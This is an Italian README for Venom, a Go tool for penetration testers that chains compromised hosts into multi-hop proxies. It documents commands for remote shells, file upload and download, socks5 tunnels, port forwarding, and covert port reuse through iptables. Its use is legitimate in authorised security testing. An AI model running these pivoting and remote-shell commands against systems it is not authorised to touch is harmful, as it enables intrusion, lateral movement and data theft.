
Venom - Un proxy multi-hop per penetration tester
Venom è uno strumento proxy multilivello sviluppato in Go, progettato per penetration tester.
Venom può connettere più nodi e utilizzarli come trampolini per costruire un proxy multilivello.
I penetration tester possono utilizzare Venom per instradare facilmente il traffico di rete attraverso più livelli di rete interna e gestire comodamente i nodi proxy.
Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e all'istruzione. L'utente si assume ogni responsabilità legale e correlata derivante dall'uso di questo strumento! L'autore non si assume alcuna responsabilità legale o correlata!
Poiché i dispositivi IoT (architetture arm/mips/...) hanno solitamente risorse limitate, per ridurre le dimensioni del file binario, i binari compilati per ambienti IoT in questo progetto non supportano le funzionalità di riutilizzo delle porte e tunneling SSH, e per ridurre l'uso della memoria sono stati limitati il numero di connessioni simultanee e la dimensione del buffer.
È possibile scaricare direttamente i file eseguibili precompilati dalla release
Se si desidera compilare il progetto dal codice sorgente, è necessario installare go >= 1.11, quindi eseguire i comandi seguenti
go get -u github.com/Dliv3/Venom/...
# $GOPATH è la variabile d'ambiente configurata durante l'installazione di Go, può essere visualizzata con il comando go env
cd $GOPATH/src/github.com/Dliv3/Venom
# I file binari compilati sono archiviati nella cartella release nella directory corrente
./build.sh
Video dimostrativo su Youtube: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI
Sia il nodo admin che il nodo agent possono ascoltare connessioni o avviare connessioni
Il nodo admin ascolta su una porta, l'agent avvia la connessione:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
L'agent ascolta su una porta, l'admin avvia la connessione:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
Il nodo agent supporta il riutilizzo delle porte
L'agent fornisce due metodi di riutilizzo delle porte
Utilizzando la funzionalità di riutilizzo delle porte fornita da Venom, su Windows è possibile riutilizzare le porte di servizi come Apache, MySQL, ecc., ma temporaneamente non è possibile riutilizzare porte di servizi come RDP, IIS, ecc. Su Linux è possibile riutilizzare la maggior parte delle porte dei servizi. Le porte riutilizzate continuano a fornire il servizio originale normalmente.
Primo metodo di riutilizzo delle porte
# Esempio con Apache su Windows
# Riutilizza la porta 80 di Apache senza influenzare il normale servizio HTTP di Apache
# Il valore di -lhost è l'IP locale, non può essere 0.0.0.0, altrimenti non è possibile riutilizzare la porta
./agent.exe -lhost 192.168.204.139 -reuse-port 80
./admin_macos_x64 -rhost 192.168.204.139 -rport 80
help Stampa le informazioni di aiuto
(admin node) >>> help
help Informazioni di aiuto.
exit Esci.
show Mostra la topologia di rete.
getdes Visualizza la descrizione del nodo di destinazione.
setdes [info] Aggiungi una descrizione al nodo di destinazione.
goto [id] Seleziona id come nodo di destinazione.
listen [lport] Ascolta su una porta sul nodo di destinazione.
connect [rhost] [rport] Connetti a un nuovo nodo tramite il nodo di destinazione.
sshconnect [user@ip:port] [dport] Connetti a un nuovo nodo tramite tunnel SSH.
shell Avvia una shell interattiva sul nodo di destinazione.
upload [local_file] [remote_file] Carica file sul nodo di destinazione.
download [remote_file] [local_file] Scarica file dal nodo di destinazione.
socks [lport] Avvia un server socks5.
lforward [lhost] [sport] [dport] Inoltra una porta locale sport a una porta remota dport.
rforward [rhost] [sport] [dport] Inoltra una porta remota sport a una porta locale dport.
show Mostra la topologia di rete
A indica il nodo admin, i numeri indicano i nodi agent
La topologia seguente mostra che il nodo admin è connesso al nodo 1, il nodo 1 è connesso ai nodi 2 e 4, e il nodo 2 è connesso al nodo 3
script/port_reuse.py per abilitare le regole di riutilizzo delle porte impostate dall'agent sull'host di destinazione.Secondo metodo di riutilizzo delle porte
# Esempio con Apache su Linux
# Richiede privilegi di root
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
Questo metodo di riutilizzo delle porte imposta una regola iptables sulla macchina locale per inoltrare il traffico di reuse-port a lport, che viene poi distribuito dall'agent.
Da notare che se il programma viene terminato tramite segnali sigterm o sigint (kill o Ctrl+C), il programma può pulire automaticamente le regole iptables. Se l'agent viene ucciso con kill -9, non può pulire automaticamente le regole iptables e sarà necessario pulirle manualmente, poiché l'agent non può gestire il segnale sigkill.
Per evitare che le regole iptables non vengano pulite automaticamente e che il penetration tester non riesca ad accedere al servizio sulla porta 80, il secondo metodo di riutilizzo delle porte utilizza iptables -m recent per controllare l'attivazione delle regole di inoltro iptables tramite pacchetti TCP speciali.
L'implementazione si basa su https://threathunter.org/topic/594545184ea5b2f5516e2033
# Avvia le regole iptables impostate dall'agent sulla macchina Linux
# Se rhost è sulla rete interna, è possibile utilizzare il proxy socks5 per il traffico dello script; l'uso del proxy socks5 è descritto di seguito
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80
# Connetti al nodo agent
./admin_macos_x64 -rhost 192.168.204.135 -rport 80
# Per disattivare le regole di inoltro
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
Crittografia della comunicazione tra nodi
Venom fornisce la crittografia della comunicazione tra nodi; l'utente può specificare una password tramite l'opzione -passwd, che viene utilizzata per generare la chiave necessaria per la crittografia AES.
# Imposta la password come dlive@dubhe tramite -passwd
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe
# L'agent specifica la stessa password per connettersi al nodo admin
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
Nota: per operare su un nodo appena aggiunto, è necessario prima eseguire il comando show sul nodo admin per sincronizzare la topologia di rete e i numeri dei nodi
goto Operare su un nodo
(admin node) >>> goto 1
(node 1) >>>
Dopo aver eseguito goto su un nodo, è possibile utilizzare i comandi descritti di seguito
getdes/setdes Ottenere/impostare la descrizione del nodo
(node 1) >>> setdes linux x64 blahblahblah
(node 1) >>> getdes
linux x64 blahblahblah
connect/listen/sshconnect Interconnessione tra nodi
Il nodo 1 si connette alla porta 9999 di 192.168.0.103
(node 1) >>> connect 192.168.0.103 9999
connect to 192.168.0.103 9999
successfully connect to the remote port!
(node 1) >>> show
A
+ -- 1
+ -- 2
Ascolta sulla porta 9997 sul nodo 1, quindi esegui ./agent_linux_x64 -rhost 192.168.204.139 -rport 9997 su un'altra macchina per connetterti al nodo 1
(node 1) >>> listen 9997
listen 9997
the port 9997 is successfully listening on the remote node!
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
Su 192.168.0.104 esegui ./agent_linux_x64 -lport 9999, il nodo 3 si connette tramite sshconnect alla porta 9999 di 192.168.0.104 usando un tunnel SSH. Puoi autenticarti con password o chiave SSH privata.
(node 1) >>> goto 3
(node 3) >>> sshconnect [email protected]:22 9999
use password (1) / ssh key (2)? 2
file path of ssh key: /Users/dlive/.ssh/id_rsa
connect to target host's 9999 through ssh tunnel ([email protected]:22).
ssh successfully connects to the remote node!
(node 3) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
shell Ottenere una shell interattiva sul nodo
(node 1) >>> shell
You can execute commands in this shell :D, 'exit' to exit.
bash: no job control in this shell
bash-3.2$ whoami
whoami
dlive
bash-3.2$ exit
exit
exit
upload/download Caricare/scaricare file dal nodo
Carica /tmp/test.pdf locale su node1 come /tmp/test2.pdf
(node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf
upload /tmp/test.pdf to node 1: /tmp/test2.pdf
this file is too large(>100M), do you still want to upload it? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
upload file successfully!
Scarica il file /tmp/test2.pdf da node1 in locale come /tmp/test3.pdf
(node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf
download /tmp/test2.pdf from node 1: /tmp/test3.pdf
this file is too large(>100M), do you still want to download it? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
download file successfully!
socks Creare un proxy socks5 verso un nodo
(node 1) >>> socks 7777
a socks5 proxy of the target node has started up on local port 7777
Dopo aver eseguito con successo il comando socks, viene aperta una porta locale sul nodo admin, come la 7777 sopra. Utilizza la 7777 per il proxy socks5.
lforward/rforward Inoltrare una porta locale verso remota / Inoltrare una porta remota verso locale
lforward inoltra la porta locale 8888 del nodo admin alla porta 8888 del nodo 1
(node 1) >>> lforward 127.0.0.1 8888 8888
forward local network 127.0.0.1 port 8888 to remote port 8888
rforward inoltra la porta 8889 della rete del nodo 1 (192.168.204.103) alla porta locale 8889 del nodo admin
(node 1) >>> rforward 192.168.204.103 8889 8889
forward remote network 192.168.204.103 port 8889 to local port 8889